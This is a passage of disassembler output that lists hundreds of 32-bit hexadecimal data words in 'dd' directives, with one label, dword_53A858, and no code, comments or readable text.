8C26046Ah, 874ABAh dd 1BDF42D4h, 77FB6915h, 0B3FA18C1h, 18704095h, 0F3D4A852h dd 27F905D2h, 3CBB1D8h, 79B6EDA0h, 9D66E90Eh, 970189DAh dd 80B19160h, 0DBC373D8h, 4E9A128Ah, 90C42014h, 0F093246Eh dd 89A7C01h, 47184AB2h, 74D888h, 0BE3C409Ah, 3BDDFB0Eh dd 99ED350Dh, 5D6171AFh, 9DCB2C40h, 27A400F0h, 11ED065Ch dd 0CF00B66Dh, 6B6E9B5Bh, 313502h, 0B591CBA2h, 0B6D82C6Ah dd 7FF7A70Eh, 9DF1607Bh, 479BF5h, 0CB89B949h, 0BE5EB637h dd 10B59630h, 0CEEA71h, 0ADDD17CFh, 0AF750ED2h, 21C0A6E8h dd 5FCED354h, 39EB870h, 80D63163h, 207A921Ch, 760099F0h dd 8444AFD5h, 75FC40FBh, 0F5540B8Ch, 7D835309h, 31000828h dd 5D39CA46h, 0ED863F1h, 0EF984D26h, 8DA10861h, 80C98C9Ch dd 0AE3104h, 0E1B4B9A7h, 42EBEE5Ah, 3928410Ch, 309A28C6h dd 0B6A99D4Dh, 40C08B0Bh, 99260C7Eh, 0D280535h, 2072B93Dh dd 0EBCED678h, 0AF43177Dh, 581CA922h, 0B7C0CEDFh, 2F0CFDD1h dd 30DDF8A8h, 9120B1B6h, 73A7515h, 32FF8331h, 374F3896h dd 26811C08h, 0FD0E205Bh, 0E18E7421h, 0C4399D16h, 489C4Ch dd 0DA9BB46Dh, 977C81FAh, 8613EF00h, 0A73C75AEh, 59DE02Ah dd 2D5FC601h, 0A98C4090h, 20EAD5D4h, 0B172E214h, 0D4732EABh dd 0DC472130h, 0A15D01D5h, 99986D64h, 0D900CFBEh, 3D233BBCh dd 48417BABh, 0B16A789Eh, 94BD141Ch, 58CA2E8h, 9AD9220Bh dd 111C00A0h, 0D651F124h, 0BBBA6201h, 646D86Dh, 80596091h dd 17EECEDDh, 0C4A775h, 0DDCEC651h, 4206ED8Bh, 8A35A1D6h dd 4904CB1h, 6C10230h, 0ACA8050Bh, 41C097BEh, 48B7613h dd 6F2605ECh, 85E1D08h, 0D5C762A8h, 0AA20D310h, 0C6FA8673h dd 0DD4C80h, 0C9BE41D5h, 0A0E7C557h, 9C4A6C06h, 0F2699B83h dd 518D6887h, 1C8F1184h, 9B85841Ah, 0E43A0C5Bh, 0A603B623h dd 8FBDD0ACh, 0BC45B7B0h, 0A2610C46h, 6929A88Fh, 0EC191B24h dd 0CC0184A0h, 90FB3043h, 0C4008BDh, 1E6B26D5h, 0A946AFC7h dd 18A8D1C4h, 0B7702E2h, 90A1E614h, 6B087880h, 280A60C1h dd 0C805B732h, 7DFF3980h, 3B83845h, 0B0C6E54h, 0C3A85B2Eh dd 0D60030B5h, 59C1516Bh, 291BF1D5h, 919419FCh, 0D1EB8A68h dd 743A2005h, 239D9432h, 7EF8D362h, 920982h, 99C50D00h dd 3D4A93A3h, 0C7420010h, 24A81E83h, 20188BCDh, 6A91112h dd 48CC600Fh, 0FB2FEB89h, 9E29DC18h, 3E4BF9h, 8FBB1A65h dd 348DDF3Ch, 0D7CC8B09h, 910897BAh, 6FB98E19h, 9BE32051h dd 28F33714h, 3C5C2105h, 0F1AC3EBh, 0B40F91C6h, 1CA4B468h dd 0CDF86760h, 0E8B60041h, 737BBF7Eh, 9501F2A0h, 8562A24Ch dd 8CF0B274h, 0E2A8C8FEh, 2C0776C1h, 4629CD7h, 0E85E7423h dd 9981F2ABh, 0AA7000D8h, 9DB8BA95h, 7F6BD501h, 0F13CFDC0h dd 2462B9C9h, 7830A8E2h, 7F600BDh, 0F29B2EE6h, 8C28A1F1h dd 3C8074A8h, 1E00F32Ah, 0AFBBF735h, 158FA434h, 90C781DEh dd 43312B07h, 150B536Ch, 125346F0h, 41C022E8h, 1F4269C8h dd 2E2F144Eh, 1B3A30A1h, 9B0D700h, 8C043E2Bh, 0EC9B3907h dd 0E15738EEh, 95D86853h, 1723382Eh, 2CB9E300h, 248788BAh dd 11680D73h, 0D5EE8061h, 439220E0h, 49887573h, 7FD503D6h dd 9D226EA8h, 0D24688F6h, 78432D0Ch, 44A9120Ah, 668C1018h dd 0B63D0342h, 1682171Ah, 6C101900h, 53499AEFh, 3A632E54h dd 81991DF5h, 1B6E393Fh, 448CA14h, 91C08E30h, 27549D77h dd 0D69506BEh, 89D10E05h, 308AC224h, 7883DC11h, 77AA2E07h dd 0C2122A31h, 977F7A00h, 5672064Bh, 3EC8BBEEh, 149FBE24h dd 0AA9ED80h, 16A7C2h, 0E8588222h, 9A011999h, 1E4DF400h dd 10A8785Eh, 7DFE0043h, 0E805B4D2h, 1C52067Fh, 0A1BE18C8h dd 6B2451h, 0E9ECEADCh, 9108994Eh, 0CDF28200h, 0E8F89ACEh dd 14898C8h, 0D498CCB5h, 0FF80DB68h, 0C74CE907h, 67411F05h dd 8D4D2D7h, 0BBCB00F1h, 0C22DFD65h, 9C0076C4h, 0DA38E5F8h dd 501DDCh, 5747580Ah, 89C317A3h, 5429EC2Eh, 0F1B07947h dd 0CD9FDCDh, 42D3021Ch, 0C802D840h, 73211B9h, 5064440Dh dd 502B6423h, 19F655h, 0BE04053Bh, 2FD393B7h, 0A8753A14h dd 3D0A3D8Ch, 0CA5412E9h, 1FDA680Eh, 1BD1DE81h, 0E2705612h dd 0C81A54B7h, 2C530FC5h, 37E06145h, 5107665Ah, 0B3A4E900h dd 8AB980Fh, 0A0267428h, 89E094h, 0FEA2B995h, 0AFB74693h dd 305C089Ah, 9ECD80DCh, 0C37C1Dh, 45084F66h, 34063FDCh dd 24A1713Ah, 2042F00Eh, 4C50C41Ah, 83C338D7h, 0ADC897B0h dd 9060E119h, 0EB8B3D8h, 71B92865h, 5A2900FCh, 0E19B3431h dd 0C20106CEh, 0DC508D7Fh, 0DC50FF80h, 0F9CDE8h, 0BDD43F7Bh dd 152B7079h, 38906AB8h, 3088D44h, 0C30FEB60h, 0A38B311Dh dd 0F54C1900h, 54F144D0h dword_53A858 dd 9F33B2Fh, 2FF141Eh, 83020431h, 0B200C864h, 437D94DCh dd 3B3132Ch, 57683DEDh, 0C8C8CB24h, 31371E22h, 8F90599Bh dd 5C964h, 0F0C5DE89h, 0E15033EFh, 1172B000h, 0E02ECF71h dd 9D9007Ch, 0EB0B6A52h, 1600BF4Ch, 2C93F7C7h, 3858A414h dd 0E4D4131Bh, 61A7602Dh, 8A84E2F1h, 0E01FF47Ah, 8742ECA9h dd 40D970AFh, 2633DD08h, 40B830F6h, 46AD762Bh, 1B0A3600h dd 474A3C8Dh, 839A12D8h, 0B93C466Dh, 0EC806906h, 8C00808Eh dd 1F3E7D6Ch, 0A0D28C8h, 1C1B07F8h, 9AD340E8h, 41DF9584h dd 70046B12h, 0C4C827BEh, 0C5670039h, 8115315Eh, 21EBAF7Eh dd 1480337Ch, 2099BEh, 9C218E57h, 30E66A96h, 29101B7h dd 0FA0E7622h, 406B8312h, 9882E0BEh, 0F72600E8h, 0AA75970Dh dd 81CAFC8h, 6EC20644h, 40500F32h, 4CBB3EECh, 90801880h dd 292A7337h, 0D3484600h, 13C8D484h, 4FDEA94h, 286FB9ECh dd 0E70CC882h, 60133E77h, 3C1669BBh, 0F8F62420h, 0EFD001D7h dd 2966E674h, 0FAC980A5h, 92EC9338h, 0E9E10B16h, 0DF07C53Ah dd 2A3FA304h, 22830A91h, 769A00FCh, 0CEC96FCFh, 0CD7525h dd 0A7956C6Eh, 9B7E27DEh, 0BC884702h, 0C487A1EEh, 20815120h dd 0A4E2ECh, 9D7DA840h, 2F762C42h, 709E438h, 7F48F30Dh dd 5F01820h, 1C825084h, 0C42B00D3h, 0DE0BDBBAh, 5800D09Bh dd 9C153EB2h, 5A8285h, 1B36EC37h, 106BCAD1h, 28525C0Bh dd 0A7B4045Eh, 39585B43h, 4F3116A8h, 0FBC64001h, 1E80C7C2h dd 35306984h, 2287F05Dh, 7C0875Ch, 0C85AE536h, 149A4E6h dd 4BCAF9FCh, 0DC167519h, 0B724D46Dh, 0AC80000Dh, 0BAC01BABh dd 0EFC4Eh, 0CCEDA247h, 7A8DC75h, 6C5E932Ch, 60590C11h dd 9AFCA00h, 992E5143h, 8F7C69C0h, 7368DD4h, 0AB1D263Fh dd 4843B0B4h, 7D1340B1h, 7C008019h, 0C064D4F4h, 43BE4E71h dd 83AB0E90h, 0E37E05F0h, 7F28F000h, 3561A2F8h, 0FFE70C20h dd 569073FDh, 0C305D4E4h, 2BB6D6D8h, 91299B09h, 14C82FF0h dd 0F3F00DFh, 9A9619Ch, 5D02C817h, 0D0516A1Dh, 12F3C10Dh dd 2CB66820h, 5CD30Fh, 0BD753DAEh, 34B98FA2h, 67B30900h dd 0BACFABh, 0BB08B7E7h, 307772CDh, 84386900h, 0A66F8E28h dd 560E14EEh, 0B626E8E2h, 1A167C4h, 0CD559FC9h, 0E69C41D6h dd 343D27h, 0E22A510Ch, 14BD779Eh, 882902B4h, 0B9601E8Eh dd 8E2ADA25h, 6A2B1D00h, 9926BB20h, 27F8B6h, 60F415E3h dd 668D3D9Bh, 11CC0600h, 0D9C4FE2Dh, 9C1801EBh, 80C1E710h dd 0FC918120h, 7E839478h, 1DE2430h, 0F2857157h, 3CD5C718h dd 3B588018h, 249F54BBh, 1DB6ABB1h, 5B260297h, 0F06490A2h dd 0B951590Eh, 0A91C8084h, 73109AD6h, 308858E5h, 0C93013h dd 0FDCA9B98h, 89FAB97Ah, 1426E491h, 0AA00A111h, 0C5B91D4Dh dd 0F60B8D12h, 0C7AF17h, 0A4D6518Ch, 0D1ED0CB1h, 0C05847F5h dd 0A02CD2F0h, 81439831h, 9B90B03h, 8F80C23Ah, 0D472D3A4h dd 0DB9A6601h, 5BB811F7h, 8B5CC1EAh, 0B7F07310h, 0E711036Eh dd 0A3F09F21h, 1243FD22h, 0B50CAF3h, 0FC096B1Bh, 0DBF2CC10h dd 0F6A1F10Bh, 84B8987Ch, 83320017h, 4F2DFA70h, 4700604Ch dd 611CABFBh, 0C28BA294h, 0F169B541h, 36CA2C40h, 7EF81200h dd 0D2E666D5h, 0D74C1278h, 6A240114h, 3DB875C0h, 87EC71C8h dd 5EA21805h, 30813BF3h, 0E08A19Eh, 52FCA88h, 19166DC6h dd 81B8C1F7h, 0DD905021h, 0FB39A07Bh, 6E4B9D10h, 43D4A2C0h dd 3C4C9EEFh, 8E11B2EAh, 0C5082C8Dh, 52BD602h, 0BFC406Ah dd 26A40288h, 1C073056h, 0EB141844h, 4BFDD92Eh, 70BDC5Eh dd 0F844100Ah, 10C048E2h, 0DC27D714h, 124B9F80h, 22005CA2h dd 5642194h, 7688F546h, 95DB2E35h, 71011B4h, 0FFF49CC2h dd 0E30545B1h, 0F0C7030h, 63A91432h, 0DA3FB380h, 0BC000DABh dd 3018D20Fh, 1142F8Ch, 50AF0C1Fh, 0D95D8DCDh, 9062F401h dd 40401730h, 0DE931Fh, 0B0D451ADh, 1D2835Eh, 216C1900h dd 92A9B27Bh, 355F0789h, 4D8F4546h, 0A1E6FC79h, 530D7200h dd 5B1A36AEh, 3E40E28h, 4303924Ah, 9EF88DD6h, 0DE0ADFFCh dd 4839E131h, 164AB600h, 74289C6Ah, 300A0C87h, 0D42133C5h dd 6C016903h, 0B25E841h, 79513071h, 8587CC00h, 3FF202E2h dd 529FAA00h, 56645CFCh, 30297BBDh, 0A84934DFh, 58008C81h dd 7E660DADh, 609F6476h, 1539F907h, 61C0228Fh, 6FE61DAFh dd 0CF832A60h, 4FDC0774h, 0EEE0B23Bh, 20F56583h, 0C5E2AE0h dd 0A7670E00h, 0FE03D7CFh, 8F4B18C5h, 0DB993937h, 7205EB00h dd 0C825E4FAh, 87BE1DE9h, 50B00006h, 0F9D94CDEh, 3BF8881Bh dd 0BC0C5B1h, 58C872BAh, 9070127h, 0EA91DBBh, 61BC5CA1h dd 0F9608020h, 9C77927Dh, 0D11600D9h, 437C8794h, 0FF74715Dh dd 0F051D4h, 702D4854h, 0C4018Fh, 7DE01626h, 21F29C2h dd 8AED9800h, 5C0867A0h, 17B61571h, 0B000905Dh, 0A38D9AF1h dd 0A9E21610h, 9F8A6000h, 42053BF4h, 0E8550F6Eh, 1F63372Dh dd 3AE8966Ch, 0B4545C91h, 0FF521054h, 1D5158C8h, 0A92B5EBh dd 38450C1Fh, 84002707h, 0E9D420Fh, 5087032Bh, 3C6A262Ch dd 848A3900h, 3AB207BAh, 83D82604h, 9F100094h, 1C266F58h dd 9230490Ch, 0E0A23135h, 0C9616F16h, 0AEDA0280h, 837A2177h dd 524A8B0Fh, 5184E1BAh, 0EEF4C09Ch, 40D80B78h, 9C093027h dd 4A87B103h, 6015514Ch, 0B55B75D1h, 0D9FB009Ah, 0F8A592E2h dd 0A002600Bh, 747BB3A6h, 84F080DEh, 2A42BD73h, 0EEFC815Dh dd 8CCF1285h, 86104039h, 5E62D247h, 8F486E0Ch, 0D51931h dd 70E2F2E3h, 469D6377h, 84F4C639h, 363B1003h, 233C9482h dd 99006C5Ah, 0B4861CD2h, 3246B507h, 3B283708h, 44934122h dd 508EF874h, 88606C2Fh, 0C600E903h, 8E506349h, 9848D4h dd 65F0F7D9h, 7AAF10FEh, 94FF1D03h, 0D9D29A8Ch, 0B05013BDh dd 184A6D2Eh, 593E6AE1h, 0D9000D63h, 7C9BE539h, 0F4E03734h dd 10B5305Ch, 69653220h, 94B4F949h, 43007756h, 17CC467Fh dd 405E97h, 0F8878492h, 8FF4942h, 0F461650Fh, 0A7F4D0h dd 4FAB7FA9h, 3EFB457Eh, 7700D924h, 670D951Ah, 0EE00C9D0h dd 9D3F051Dh, 0F079C09Ah, 0F5B13910h, 0B02E1E81h, 0D08C3E11h dd 6D03BD8Eh, 989E3B52h, 0BCC380AAh, 31A414BEh, 0BD8798CBh dd 38C083BFh, 0AD21118h, 0E0574930h, 56D00732h, 903D5B35h dd 55429BB5h, 0A002948h, 986317A0h, 0A3196C80h, 3F07C5Fh dd 3E8F0FA1h, 0D9B22DAh, 0FD1F1C9Eh, 574A394Eh, 5A80D067h dd 0F8809C33h, 0D374003Fh, 0F295C5D5h, 6B00C9C0h, 2C8BF963h dd 0A833ED42h, 0C05716A8h, 0CCB4BA71h, 0C700676Fh, 3F419C02h dd 0E4E5AEAh, 8C33DF2Bh, 393190C0h, 3A6E8F87h, 189C341h dd 3DD7D08Eh, 0C5370772h, 0F1924959h, 329E6505h, 0CC3128A4h dd 0CF9A691Fh, 1949A00Ch, 17B72961h, 0EA40CF8h, 273D3619h dd 0D0E40095h, 249C6034h, 5CEA0CE6h, 1FF16EB8h, 0B630FE78h dd 0C052116Ah, 839F3762h, 8E5183A8h, 0A46489C8h, 8C590861h dd 209FE963h, 9C690A6Ah, 8D17C0h, 0ADAC5825h, 164C2D87h dd 0B748270h, 8F654059h, 0A3D60021h, 1D0CB2E2h, 5C00DD1Ah dd 70EEE8A6h, 4916D231h, 0AE38ECA7h, 996D5818h, 86013802h dd 30154CEFh, 26ECE5E7h, 70F900CFh, 6EE09551h, 0E606D018h dd 68572778h, 0C9AC0039h, 91CD6167h, 0AD0B4BECh, 9CF9E06h dd 6588231Fh, 0FFCB8887h dd 4584832h, 0D3E44C80h, 44003E0Fh, 0F742744Ah, 52B65A2h dd 648C13A4h, 9B425B1h, 0D4831D70h, 41026657h, 0D9A541F0h dd 1BAE0A3h, 45689055h, 0C846C20Dh, 1DF1D000h, 6129F6F4h dd 0E21B85Bh, 0CB8C8B48h, 794EF8E0h, 0B499357Bh, 75CE5480h dd 394F896Eh, 0F10F9F55h, 0ABA53A80h, 41CC821Bh, 0CE804828h dd 0EE15A4A0h, 0E81EB836h, 0B1F8009Fh, 0B020D13Dh, 0E0982AFh dd 0F5B67A09h, 0DD39B38Ch, 0DC9940Eh, 0A3A84012h, 6F01A9h dd 0FBA1C140h, 0E5E456Dh, 16033C17h, 0ECF17420h, 0EDF00022h dd 0C2856A98h, 2704EA79h, 12F5987h, 80640D04h, 405418D8h dd 38904115h, 92FF0788h, 0C2313356h, 308437EBh, 0CCD30F76h dd 0C500C47Ch, 5CF5CAB3h, 2898010Bh, 0C42E16h, 9F96DE8Eh dd 66C00261h, 4803BCF8h, 6AA9ABAFh, 0F241003Fh, 0FAA3605h dd 6D00DD5Ch, 0B953754Ch, 485ED527h, 58790C2Bh, 0D48200FFh dd 1A606849h, 0C600E5A9h, 72E2A178h, 2EE55A6h, 89CEA48h dd 60C45822h, 0FE35001h, 82853AE0h, 7509C9CCh, 0FF0D00C3h dd 1B5F131Ch, 5500D92Fh, 0A5BEFEB5h, 0A448DF31h, 0FF6344DCh dd 40BFDE5Ch, 5600CED9h, 0D859C71Eh, 72823925h, 0EBA70093h dd 9A9E0DB3h, 4E1E6B7Fh, 41B442C0h, 0EC444C1h, 228C0511h dd 8DBD1C3Ch, 0A0DCCC8Eh, 8BA68876h, 443F0084h, 5B66375Ch dd 4939C5B4h, 64508409h, 38C84AA0h, 0A1044B6h, 0B098BC00h dd 3197A6A1h, 92020262h, 0FE058479h, 91C814C3h, 0E4A01ABAh dd 0A306B388h, 261EA95Ch, 9E1D0108h, 0F35D2E52h, 62E034C7h dd 733E6088h, 6DFD0026h, 0FFA47AD3h, 0E3EC08B4h, 5D8F121Ch dd 0D13D8C0Dh, 4BCEE0h, 4981EAB3h, 0DF1D5984h, 10071B09h dd 9704C42h, 0BF533767h, 0B9815C87h, 3A10E888h, 0D8080F98h dd 0E90BA8B1h, 4CBF4A7h, 30800C88h, 0C7039Fh, 4E5131D0h dd 48C26C0Dh, 3CB116EEh, 29B54200h, 74A1E7Bh, 5CC1617Ah dd 0B600C948h, 76A4B805h, 1AD22514h, 0A1810390h, 308FFDh dd 508B2F81h, 714AB6F3h, 94271803h, 0A8DF3DE8h, 483142C8h dd 57854C92h, 0C0F4406Fh, 0B4D6B84Dh, 7CC935Ch, 42856164h dd 6C102375h, 1A402B8h, 808F8E37h, 1FD3730Ch, 0C865484Ch dd 3A072900h, 173944B3h, 0F484CF50h, 0EA07AF73h, 0D3A7B032h dd 609A6076h, 2663F144h, 0C7EC2443h, 140CCC58h, 14B43566h dd 0DD8C2787h, 0EA998C0h, 0A6CA24h, 0E2D7A3B4h, 0AB65229Dh dd 0C4AE7B00h, 0B0103E75h, 3819F2A6h, 0EC5D7F2Eh, 0E865860h dd 0F5043501h, 416A2B20h, 103C0C00h, 0A90082ECh, 83CD7B70h dd 0C755F25h, 4B175A87h, 79E82A81h, 0DE5DE50Fh, 0FC56BBCh dd 3800169Ch, 0A4D561B8h, 1654900Ch, 94FF050h, 74111394h dd 9E8BA60h, 910365h, 863A84B8h, 248948BDh, 0B05C7A05h dd 8CC8457Dh, 0CCB04136h, 30137B0Eh, 9970EAD6h, 9042A818h dd 2C091429h, 268F0639h, 0A2C4028h, 48B02735h, 0EC87944h dd 1A64BC9Dh, 84F66340h, 37546A83h, 31008080h, 2901973Ah dd 605889C6h, 3BD53965h, 64005510h, 413DACAAh, 0B2BA65Fh dd 0BC5C0857h, 0BB65B010h, 0C51734B9h, 589E000h, 25FACAh dd 0AD066187h, 0B8650F66h, 38290D60h, 0C02E8650h, 0D08578C9h dd 3607989Fh, 87BB2796h, 29E8BD80h, 8FC11D1Bh, 548ADE81h dd 23228011h, 6C00089Ah, 0C3658762h, 6EB3A0h, 3367690Dh dd 0D299BC3Dh, 0AC4E8C4Ah, 11C881F0h, 0A0209AA3h, 3B201D16h dd 401C263Ch, 16AF06Bh, 60394300h, 0CF158BE7h, 39EEE2A3h dd 42087FF7h, 18224F9h, 4085E74Ch, 0A48669E8h, 0A4BD00DCh dd 77985DE3h, 2117910Bh, 0B0640A96h, 0EAA838C0h, 0F9D10261h dd 8681C078h, 0FA7DE444h, 5700D5E6h, 29A2E9AFh, 0EE896F7Fh dd 0C7902463h, 86A63C68h, 3B3A4060h, 500E2CA9h, 0C9DE07A1h dd 92C8039h, 24A48287h, 3B34B1BDh, 0F4A06AA5h, 0AC8AEAADh dd 7991D40h, 0B94EBB09h, 7C1000B0h, 0F1593C39h, 0C00C17B4h dd 6AEECB03h, 21410040h, 0A3E4A648h, 5D00BE85h, 0CD3AE583h dd 0B87DE9h, 9F49221Bh, 670D969Dh, 5C85862Eh, 63EDCF60h dd 0FA790071h, 881D664Ah, 23006BC4h, 6D86A8E4h, 51DB1Eh dd 3ECF1A16h, 3687C001h, 62A048F1h, 0A3E1CD09h, 0AC34A659h dd 0E76C1308h, 52600073h, 867597D0h, 9C104C12h, 447C0C80h dd 0D8944C41h, 0F26A9F87h, 9459A565h, 0F3C7A807h, 69473FC4h dd 53C0CF1Dh, 92F66BD9h, 0BCCB093Fh, 0BEA79670h, 6015F80Ch dd 18D0241Eh, 0A58A002Ch, 0A2A95536h, 0D862B428h, 7326607Ch dd 0CD60BC5Eh, 893C01h, 4F278F52h, 0A5FA6964h, 3C40FF5Ch dd 84EC4970h, 43C65D42h, 38890060h, 0C4B2568Eh, 549901D0h dd 727DB580h, 16E1881h, 77E8D36Ch, 40FFF849h, 6F9D0568h dd 2DE5D700h, 798C4EEh, 74AF04D9h, 0E297A90Dh, 44750038h dd 0C4E6EF4Ah, 0B501D8Eh, 77AD407Bh, 99135618h, 49CEA5A0h dd 0B984CE1h, 35752A00h, 91FDE65Bh, 13B70056h, 22654E47h dd 1500BE16h, 279730EFh, 8BFEDh, 0BD0FBC18h, 929A9F1Ah dd 0C1602000h, 2C3EB783h, 4B8CFh, 44BB451Bh, 9E0E7DC5h dd 6003A100h, 646757DAh, 403096BAh, 4517265Dh, 0F81611C0h dd 0BF81C8h, 5A516FE7h, 171097C2h, 408C0826h, 0BD76AA40h dd 0CC3E0020h, 0D98443E4h, 0CD07511Bh, 0C4698560h, 8901C0DAh dd 31CAA411h, 2A444CAh, 5B8297D4h, 78C024CDh, 0AD0052D2h dd 9E2D7E79h, 9CF9D60h, 50BD4592h, 0B20030C4h, 367D8CAFh dd 72BDFC3h, 0D69277EBh, 8E54A0C6h, 0D00E0C0h, 666EE9FDh dd 96B95CCDh, 3034804Ch, 15EE5139h, 0DB55AC0Bh, 0EB448793h dd 201796C8h, 260B59B0h, 8CB3AE09h, 665480C9h, 286738h dd 9291F43Bh, 6ED75F86h, 8E5AE200h, 248271E9h, 62687DC5h dd 9BBC5134h, 25B276C0h, 7E2C5700h, 0B81AD3F1h, 0A2500703h dd 0D09EBF58h, 3F82C0F0h, 0CF94BC17h, 0B0F57C00h, 7AFB7h dd 38FFDFCAh, 0E9FE3427h, 1012721Eh, 0C183A50h, 706A9023h dd 0D0CCD82Ch, 54D73D60h, 0B1D90097h, 0B3EBFD7Fh, 5602B0DAh dd 0E03406A4h, 6C606037h, 24FB1CDCh, 27FE02BEh, 98A17E58h dd 802994FDh, 99E93C90h, 0D4AAFCh, 3463E8B9h, 321213BEh dd 0B5B720CEh, 0F80F289Ch, 97AC2850h, 0BC002545h, 4315F85h dd 0BC3C6876h, 7D00C211h, 6000E8D1h, 9AA1E469h, 2F7F0027h dd 772B80F3h, 6F00F946h, 94C19F9Bh, 0B1EF4248h, 0DB660064h dd 3143099Eh, 5C6278C2h, 220E4B7h, 0D22FED3Ah, 187A9F65h dd 80406448h, 235390FCh, 3AE49848h, 387B6D69h, 0BB80B018h dd 633EDBAh, 31C3426Ah, 1FF30A6h, 7910B516h, 0C45E75A5h dd 0D45C99B6h, 20E7CF4h, 82B45635h, 66FFFD51h, 0E08D0030h dd 4CCB8C25h, 99ECFC88h, 0C5385B02h, 64B7647Ah, 0CA350058h dd 657D6C9Eh, 9202D25Ah, 0D9832182h, 0A2D860D6h, 187518A6h dd 6487315Fh, 9ED5C3Dh, 80D6FB6Ch, 56938EA8h, 660A0CD1h dd 0F838051Eh, 0E94AEC9Ch, 0D2B26502h, 82C0981Ah, 0E56A0BB8h dd 9580AB9Ah, 12FA9C4Dh, 0F4E3F4F5h, 0B4CBDF00h, 9E35642Ah dd 889D01F7h, 65D07558h, 55D9E069h, 0CF5EB105h, 0D0403C8Ch dd 0AC1E817Ah, 3F16000Eh, 8AF70275h, 0C65E31EEh, 0DEB59820h dd 42BA26D2h, 4B8266Ah, 88581065h, 69009FDCh, 338D1DDCh dd 9253B99h, 1CBE372Fh, 9F00D0C4h, 3CAF7D39h, 20E1D7h dd 80A11041h, 600D5EDEh dd 0B653F3Ah, 186C9766h, 7464A8h, 0E4A9D671h, 3095911Eh dd 0C805DA33h, 0D3D9822h, 5820E5B6h, 2F8F30D1h, 0EEA58D39h dd 55A34500h, 6C790B6Dh, 47940046h, 98CC3C1Dh, 0E60B1B39h dd 0E7FC029h, 979FC0E4h, 12AF0A7Ah, 5170FB6h, 40157758h dd 2DBB2674h, 3E0192BFh, 33FC39B7h, 14695A12h, 8053A91Fh dd 3A02581Ah, 6786695h, 0E7788A04h, 0C485FA1Bh, 2B125CA3h dd 0CC881293h, 0BE05A11Ch, 36C43016h, 5DA0B4h, 81AF2772h dd 46758757h, 2C68FF48h, 891CC050h, 0EF3490E7h, 0B417033Eh dd 0BCF78E5Dh, 0DE58C90h, 51456A31h, 4AC8B688h, 7CE4F5E2h dd 9E26002Dh, 0EE715178h, 0E35EDD06h, 6BA2C420h, 0AF9B0343h dd 0E8FCF16Dh, 8553B680h, 0EB646A04h, 78A22C91h, 0D9415600h dd 714BD827h, 0A1F49300h, 0CD319B2Ah, 5EF6F0h, 6E97DA70h dd 16E6F957h, 8088FF4Ch, 6D472DBDh, 5770001h, 49A06B8Ch dd 3D659A78h, 0E8A2B3F0h, 3A07B911h, 690A8427h, 97826FACh dd 79DC801Dh, 181EBE31h, 613D6AFEh, 54002FF1h, 66C292C9h dd 2DBAACDEh, 0B0A0E131h, 866A3E71h, 0AC20FA4Ah, 0F6DCB0BFh dd 42FE0C11h, 0FF191EF9h, 67E020FFh, 5009B626h, 0B65B100h dd 4CE942F4h, 4D3F5838h, 0D9150079h, 0AF6EE65Fh, 3B00C1BEh dd 300127BFh, 22C659Fh, 7A0BA04Fh, 4CD25828h, 0D2EB0200h dd 0CB3A84FAh, 1330159h, 189767C0h, 7DC020F8h, 0B5808717h dd 85962C00h, 9AA51394h, 1F782CE4h, 0FEA960C8h, 0C9E0FFC8h dd 4C7DF600h, 0BA85E2BCh, 1380020h, 0D52D3E24h, 0E314603Ah dd 76A8E913h, 4431B325h, 0FF880028h, 0FED24F9Ch, 200C6E79h dd 0B162582Ch, 0C7E148BBh, 52D7C600h, 41F4F3AEh, 0B60BDE71h dd 8049D0A1h, 0F7CF546Ch, 20A4A123h, 5885BC10h, 22116460h dd 0BD2999h, 24EC0930h, 0D72661D9h, 1AF86713h, 0B734600Eh dd 45109C00h, 240475F0h, 49CD0FEh, 0A3E64284h, 8F9A1780h dd 0D17278D0h, 0A8F900DCh, 16943DF5h, 70A8CE26h, 89007CAFh dd 0F3E9AD78h, 4179486h, 0E1AC8FB0h, 5C4A8084h, 0F0981671h dd 0D800891h, 1F6A965Fh, 2A535834h, 58FDFC09h, 3A733448h dd 9B7E6407h, 76B53C9h, 5C2788E0h, 0F1EDDB13h, 0D88EE64Eh dd 5284D56Ch, 1AF4822Eh, 0BD2C3C78h, 23403C18h, 48FDC376h dd 270070F0h, 2B34CF2Fh, 5F037992h, 37D39FE0h, 36D0E8EDh dd 7DC048FEh, 0D4019E03h, 240D1B2h, 0BD484894h, 3E93117Ch dd 8CE14113h, 5071803Ch, 0F496CCB8h, 0E2B56940h, 3DFE0058h dd 0C0276575h, 7200EE7Eh, 0D937308Fh, 0C010AF5Ch, 81609431h dd 143D98A7h, 3031890Dh, 739052C0h, 20678BDh, 5D88E868h dd 107A7CB4h, 673144h, 0C972C5AEh, 0D615122Ch, 0DC0A1C01h dd 34FF5DC2h, 1A0B002Ah, 5F36372Eh, 0C8C6D41Eh, 0D03C309Dh dd 1E44976Ch, 172090F1h, 8ED369h, 6A92816Ch, 7113470Fh dd 94883DCCh, 44D6005Ch, 0EF6B29B8h, 880784CEh, 0C7C3ED10h dd 0D1A6A440h, 67180094h, 7B6C0AD2h, 30140E58h, 583C4A8Eh dd 1679656Bh, 3D630C8h, 66F9E3E5h, 58A8D7FDh, 120185B2h dd 314E4D87h, 4197498Dh, 2CF02057h, 0F9FC2D65h, 0A0A3DD00h dd 0FC024AA1h, 72730AEDh, 11E46F17h, 0C9B81635h, 97685D00h dd 48420B80h, 0B2C188E5h, 0F08B5FDCh, 202D6F9h, 616481C0h dd 6028600Ch, 97D9001Dh, 36137A65h, 883D5130h, 8D9180EEh dd 8387A006h, 4617305Ch, 157E22D1h, 0F0D0CE00h, 8F496D70h dd 0E932EADh, 12B808E8h, 1A990B7h, 0D0C6822Ch, 0BD25ED0h dd 8F17E1DAh, 54B1C10h, 48B68D00h, 0B7477EB0h, 7FBF2694h dd 23E90084h, 8FAF1A9Fh, 5D516F1Ch, 42261402h, 891854EEh dd 0B8486AF4h, 54F0292Ah, 7C58AEB8h, 0AEEE7004h, 2C58A8E8h dd 0A02D9Ch, 0C0FFA1A0h, 16372E66h, 6CF840D8h, 9A0104BCh dd 0FA905365h, 14328CD0h, 0E063BE00h, 0EA649C61h, 806FBA25h dd 0F4949F0Ch, 357000E6h, 0B8DABF5Bh, 302C1FCFh, 134F30C5h dd 0D2173830h, 37303AEh, 618791DEh, 9FF53097h, 37001DF7h dd 0A8B174FFh, 9C093DBEh, 805217B4h, 0B4957FFCh, 3426A22h dd 0CC7662C3h, 6BF84F13h, 9601A174h, 3EA9E838h, 582C0632h dd 1494CD0Fh, 0F4ED4284h, 0E90EFFB0h, 80989972h, 0C1BFAEB0h dd 0A26527D0h, 0BE2E3C23h, 64ADB598h, 53125802h, 64172383h dd 8331E4Ch, 0D45EC7CDh, 9B6F3297h, 